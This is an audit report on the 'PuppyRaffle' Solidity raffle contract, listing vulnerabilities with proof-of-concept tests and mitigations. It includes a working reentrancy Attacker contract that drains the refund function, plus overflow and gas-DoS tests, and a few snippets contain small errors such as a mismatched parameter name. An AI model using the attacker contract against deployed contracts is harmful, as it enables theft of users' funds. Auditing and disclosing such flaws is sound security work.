



Puppy Raffle Initial Audit Report

Version 0.1

Thomas A. Hall | YourDailyBlockchain.com

February 7, 2024

Puppy Raffle Audit Report

Thomas Hall | Your Daily Blockchain

February 8th, 2024

Puppy Raffle Audit Report

Prepared by: Thomas A. Hall Lead Security Researcher:

- Thomas A. Hall

Assisting Auditors:

- None

Table of contents

See table

- Puppy Raffle Audit Report
- Table of contents
- About Thomas Hall
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Compatibilities
- Protocol Summary
 - Roles
- Executive Summary
 - Issues found

About Thomas Hall

I am a junior smart contract security researcher committed to making the world of Web3 a safer place to transact. I am the founder of **Your Daily Blockchain** (<https://YourDailyBlockchain.com>), your daily source for Web3 and blockchain news and education.

Disclaimer

I make all reasonable effort to find as many vulnerabilities in the codebase in the given time period, but hold no responsibilities for the findings provided in this document. A security audit and review by myself or my team is not an endorsement of the underlying business or product. The security review and audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contract(s).

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash: - Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5 - In Scope:

```
1 ./src/  
2 #--- PuppyRaffle.sol
```

Scope

```
1 src/  
2 #--- PuppyRaffle.sol
```

Compatibilities

- Solc Version: 0.7.6
- Chain(s) to deploy contract to: Ethereum

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
 1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a `feeAddress` to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3

Severity	Number of issues found
Medium	3
Low	1
Info	12
Gas Optimizations	2
Total	21

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle` allows entrant to drain raffle balance.

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
         player can refund");
4         require(playerAddress != address(0), "PuppyRaffle: Player
         already refunded, or is not active");
5
6         @> payable(msg.sender).sendValue(entranceFee);
7         @> players[playerIndex] = address(0);
8
9         emit RaffleRefunded(playerAddress);
10    }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue cycle till the contract balance is drained.

Impact: All fees paid by the raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters raffle

2. Attacker sets up a contract with a `fallback` function that calls `'PuppyRaffle::refund'`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Code

Place the following in `PuppyRaffleTest.t.sol`

```
1
2  function testReentrancyAttack() public {
3
4      // Record the initial balance of the raffle before seeding with
5      // 50 ETH.
6      uint256 initialRaffleBalance = address(puppyRaffle).balance;
7      console.log("Raffle's Initial balance:", initialRaffleBalance);
8
9      // Simulate the raffle having a balance of 50 ETH
10     uint256 raffleSeededBalance = 50 ether;
11     vm.deal(address(puppyRaffle), raffleSeededBalance);
12     console.log("Raffle's Seeded balance:", raffleSeededBalance);
13
14     // Verify the raffle's balance is set as expected
15     assertEq(address(puppyRaffle).balance, raffleSeededBalance, "
16         Raffle seeded balance not set correctly");
17
18     // Make sure the attacker has enough ETH to cover the entrance
19     // fee.
20     // This step is crucial because it ensures the attacker can pay
21     // the entrance fee.
22     vm.deal(address(attacker), entranceFee);
23
24     // Record the seeded balance of the raffle and the initial
25     // balance of the attacker for later assertions.
26     uint256 initialAttackerBalance = address(attacker).balance;
27
28     // Log the current balance of the attacker for debugging
29     // purposes
30     console.log("Attacker's initial balance:", address(attacker).
31         balance);
32
33     // Start the attack by invoking the attack function of the
34     // attacker instance
35     // and ensure to send the entrance fee along with the
36     // transaction.
37     attacker.attack{value: entranceFee}(); // Correctly pass the
38     // entranceFee as msg.value
39
40     // Assertions to check the effect of the attack...
41     uint256 finalRaffleBalance = address(puppyRaffle).balance;
```

```
32     uint256 finalAttackerBalance = address(attacker).balance;
33
34     // Use require statements or assertTrue for Foundry to check
        your conditions
35     require(finalRaffleBalance < raffleSeededBalance, "Raffle's
        balance did not decrease as expected.");
36     require(finalAttackerBalance > initialAttackerBalance, "
        Attacker's balance did not increase as expected.");
37
38     // Log the current balance of the raffle for debugging purposes
39     console.log("Raffle's final balance:", finalRaffleBalance);
40     console.log("Attacker's final balance:", finalAttackerBalance);
41 }
```

And this this contract as well.

```
1
2 // SPDX-License-Identifier: MIT
3 pragma solidity ^0.7.6;
4
5 import "../src/PuppyRaffle.sol";
6 contract Attacker {
7     PuppyRaffle public raffle;
8     constructor(PuppyRaffle _raffleAddress) {
9         raffle = _raffleAddress;
10    }
11
12    // Fallback function used to perform reentrancy attack
13    receive() external payable {
14        if (address(raffle).balance >= 1 ether) { // Check if the
            raffle has enough balance to refund
15            raffle.refund(0); // Assuming 0 is the index of this
            attacker in the raffle
16        }
17    }
18    function attack() public payable {
19        // Enter the raffle as the attacker
20        address[] memory players = new address[](1);
21        players[0] = address(this);
22        raffle.enterRaffle{value: msg.value}(players);
23        // Trigger the refund, initiating the reentrancy attack
24        raffle.refund(0); // Assuming this contract's entry is at index
            0
25    }
26 }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1     function refund(uint256 playerId) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
4         require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");
5
6         +     players[playerIndex] = address(0);
7         +     emit RaffleRefunded(playerAddress);
8         payable(msg.sender).sendValue(entranceFee);
9         -     players[playerIndex] = address(0);
10        -     emit RaffleRefunded(playerAddress);
11    }
```

[H-2] Weak randomness is `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy.

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

note: This means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the [solidity blog on prevrandao] (<https://soliditydeveloper.com/prevrandao>). `block.difficulty` was recently replaced with `prevrandao`.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a [well-documented attack vector] (<https://betterprogramming.pub/how-to-generate-truly-random-numbers-in-solidity-and-blockchain-9ced6472dbdf>) in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees.

Description: In solidity version prior to 0.8.0 integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max
2 // 18446744073709551615
3 myVar = myVar + 1;
4 // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawalFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 // attacktotalFees = 8000000000000000000 + 1780000000000000000
3 // and this will overflow!
4 totalFees = 153255926290448384
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

Although you could use `selfDestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocols. At some point there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
1 function testTotalFeesOverflow() public playersEntered {
2     // We finish a raffle of 4 to collect some fees
3     vm.warp(block.timestamp + duration + 1);
4     vm.roll(block.number + 1);
5     puppyRaffle.selectWinner();
6     uint256 startingTotalFees = puppyRaffle.totalFees();
7     // startingTotalFees = 8000000000000000000
8
9     // We then have 89 players enter a new raffle
10    uint256 playersNum = 89;
11    address[] memory players = new address[](playersNum);
12    for (uint256 i = 0; i < playersNum; i++) {
```

```
13         players[i] = address(i);
14     }
15     puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
16         players);
17     // We end the raffle
18     vm.warp(block.timestamp + duration + 1);
19     vm.roll(block.number + 1);
20     // And here is where the issue occurs
21     // We will now have fewer fees even though we just finished a
22     // second raffle
23     puppyRaffle.selectWinner();
24     uint256 endingTotalFees = puppyRaffle.totalFees();
25     console.log("ending total fees", endingTotalFees);
26     assert(endingTotalFees < startingTotalFees);
27
28     // We are also unable to withdraw any fees because of the
29     // require check
30     vm.prank(puppyRaffle.feeAddress());
31     vm.expectRevert("PuppyRaffle: There are currently players
32         active!");
33     puppyRaffle.withdrawFees();
34 }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`.
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through the players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates, the longer the `PuppyRaffle::players` array is, the more checks a new

player will have to make. This means gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
1 // @audit - DoS Attack
2 @>     for (uint256 i = 0; i < players.length - 1; i++) {
3         for (uint256 j = i + 1; j < players.length; j++) {
4             require(players[i] != players[j], "PuppyRaffle:
               Duplicate player");
5         }
6     }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252048 gas - 2nd 100 players: ~18068138 gas

This is more than 3x more expensive for the 2nd 100 players

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1 function testDoSAttack() public {
2     // Populate the raffle with a large number of unique players
3     for (uint256 i = 0; i < 1000; i++) { // Adjust the number
        based on testing scenario
4         address uniqueAddress = address(uint160(uint256(keccak256(
            abi.encodePacked(i))));
5         address[] memory newPlayer = new address[](1);
6         newPlayer[0] = uniqueAddress;
7         puppyRaffle.enterRaffle{value: 1 ether}(newPlayer);
8     }
9
10    uint startGas = gasleft();
11    // Query for one of the addresses that was entered into the
        raffle
12    address queryAddress = address(uint160(uint256(keccak256(abi.
        encodePacked(uint256(999))));
13
14    puppyRaffle.getActivePlayerIndex(queryAddress);
15    uint endGas = gasleft();
16    uint gasUsed = startGas - endGas;
```

```
17
18     emit log_named_uint("Gas used for getActivePlayerIndex with
19         1000 unique players: ", gasUsed);
    }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.
3. Alternatively, you could use [OpenZeppelin's `EnumerableSet` Library] <https://docs.openzeppelin.com/contract>

[M-2] Unsafe cast of `PuppyRaffle : fee` loses fees

Description: In `PuppyRaffle : selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than the `type(uint64).max`, the value will be truncated.

```
1     function selectWinner() external {
2         require(block.timestamp >= raffleStartTime + raffleDuration, "
3             PuppyRaffle: Raffle not over");
4         require(players.length > 0, "PuppyRaffle: No players in raffle"
5             );
6         uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
7             sender, block.timestamp, block.difficulty))) % players.
8             length;
9         address winner = players[winnerIndex];
10        uint256 fee = totalFees / 10;
11        uint256 winnings = address(this).balance - fee;
12    @>    totalFees = totalFees + uint64(fee);
13        players = new address[] (0);
14        emit RaffleWinner(winner, winnings);
15    }
```

The max value of a `uint64` is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected

2. The line that casts the fee as a uint64 hits
3. totalFees is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
4 // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
3 .
4 .
5 .
6     function selectWinner() external {
7         require(block.timestamp >= raffleStartTime + raffleDuration, "
8             PuppyRaffle: Raffle not over");
9         require(players.length >= 4, "PuppyRaffle: Need at least 4
10            players");
11         uint256 winnerIndex =
12             uint256(keccak256(abi.encodePacked(msg.sender, block.
13                 timestamp, block.difficulty))) % players.length;
14         address winner = players[winnerIndex];
15         uint256 totalAmountCollected = players.length * entranceFee;
16         uint256 prizePool = (totalAmountCollected * 80) / 100;
17         uint256 fee = (totalAmountCollected * 20) / 100;
18         totalFees = totalFees + uint64(fee);
19         totalFees = totalFees + fee;
```

[M-3] Smart contract raffle winners without a receive or fallback function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over.

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended).
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves with a new `claimPrize` function, putting the onus on the winner to claim their prize. (Recommended)

Pull over Push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1 // @audit - if the player is at index 0, it'll return 0 and a
   player might think they are not in the raffle.
2 function getActivePlayerIndex(address player) external view returns
   (uint256) {
3     for (uint256 i = 0; i < players.length; i++) {
4         if (players[i] == player) {
5             return i;
6         }
7     }
8     return 0;
9 }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached.

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1 +      uint256 playersLength = players.length;
2 -      for (uint256 i = 0; i < players.length - 1; i++) {
3 +      for (uint256 i = 0; i < playersLength - 1; i++) {
4 -          for (uint256 j = i + 1; j < players.length; j++) {
5 +          for (uint256 j = i + 1; j < playersLength; j++) {
6              require(players[i] != players[j], "PuppyRaffle:
              Duplicate player");
7          }
8      }
9      emit RaffleEnter(newPlayers);
10 }
```

NC - Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
1  pragma solidity ^0.7.6;
```

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

[I-2] Using an outdated version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with any of the following Solidity versions:

0.8.18 The recommendations take into account: - Risks related to recent releases - Risks of complex code generation changes - Risks of new language features - Risks of known bugs - Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see [slither] (<https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity>) documentation for more information.

[I-3] Missing checks for address (0) when assigning values to address state variables

Assigning values to address state variables without checking for `address (0)`.

- Found in stc/PuppyRaffle.sol 8662:23:35
- Found in stc/PuppyRaffle.sol 3165:24:35
- Found in stc/PuppyRaffle.sol 9809:26:35

[I-4] PuppyRaffle::selectWinner does not follow CEI, which is not a best practice.

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1 - (bool success,) = winner.call{value: prizePool}("");
2 - require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
3   _safeMint(winner, tokenId);
4 + (bool success,) = winner.call{value: prizePool}("");
5 + require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
```


[I-5] Use of “magic” numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1      uint256 prizePool = (totalAmountCollected * 80) / 100;
2      uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1      uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2      uint256 public constant FEE_PERCENTAGE = 20;
3      uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events.**[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed.**

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
1 -     function _isActivePlayer() internal view returns (bool) {
2 -         for (uint256 i = 0; i < players.length; i++) {
3 -             if (players[i] == msg.sender) {
4 -                 return true;
5 -             }
6 -         }
7 -         return false;
8 -     }
```

[I-8] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

File	% Lines	% Statements	% Branches	% Funcs
script/DeployPuppyRaffle.sol	0.00% (0/3)	0.00% (0/4)	100.00% (0/0)	0.00% (0/1)
src/PuppyRaffle.sol	82.46% (47/57)	83.75% (67/80)	66.67% (20/30)	77.78% (7/9)

File	% Lines	% Statements	% Branches	% Funcs
test/auditTests/ProofOfCodes.t.sol	100.00% (7/7)	100.00% (8/8)	50.00% (1/2)	100.00% (2/2)
Total	80.60% (54/67)	81.52% (75/92)	65.62% (21/32)	75.00% (9/12)

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the [Branches](#) column.

[I-9] Zero address validation

Description: The [PuppyRaffle](#) contract does not validate that the [feeAddress](#) is not the zero address. This means that the [feeAddress](#) could be set to the zero address, and fees would be lost.

```
1 PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/  
  PuppyRaffle.sol#57) lacks a zero-check on :  
2   - feeAddress = _feeAddress (src/PuppyRaffle.sol#59)  
3 PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.  
  sol#165) lacks a zero-check on :  
4   - feeAddress = newFeeAddress (src/PuppyRaffle.sol#166)
```

Recommended Mitigation: Add a zero address check whenever the [feeAddress](#) is updated.

[I-10] Unchanged variables should be constant or immutable

Constant instances

```
1 PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant  
2 PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be  
  constant  
3 PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable Instances:

```
1 PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```

[I-11] Potentially erroneous active player index

Description: The [getActivePlayerIndex](#) function is intended to return zero when the given address is not active. However, it could also return zero for an active address stored in the first slot of

the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

Recommended Mitigation: Return $2^{256}-1$ (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

[I-12] Zero address may be erroneously considered an active player

Description: The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that “This function will allow there to be blank spots in the array”. However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there’s been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

Recommended Mitigation: Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can never be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.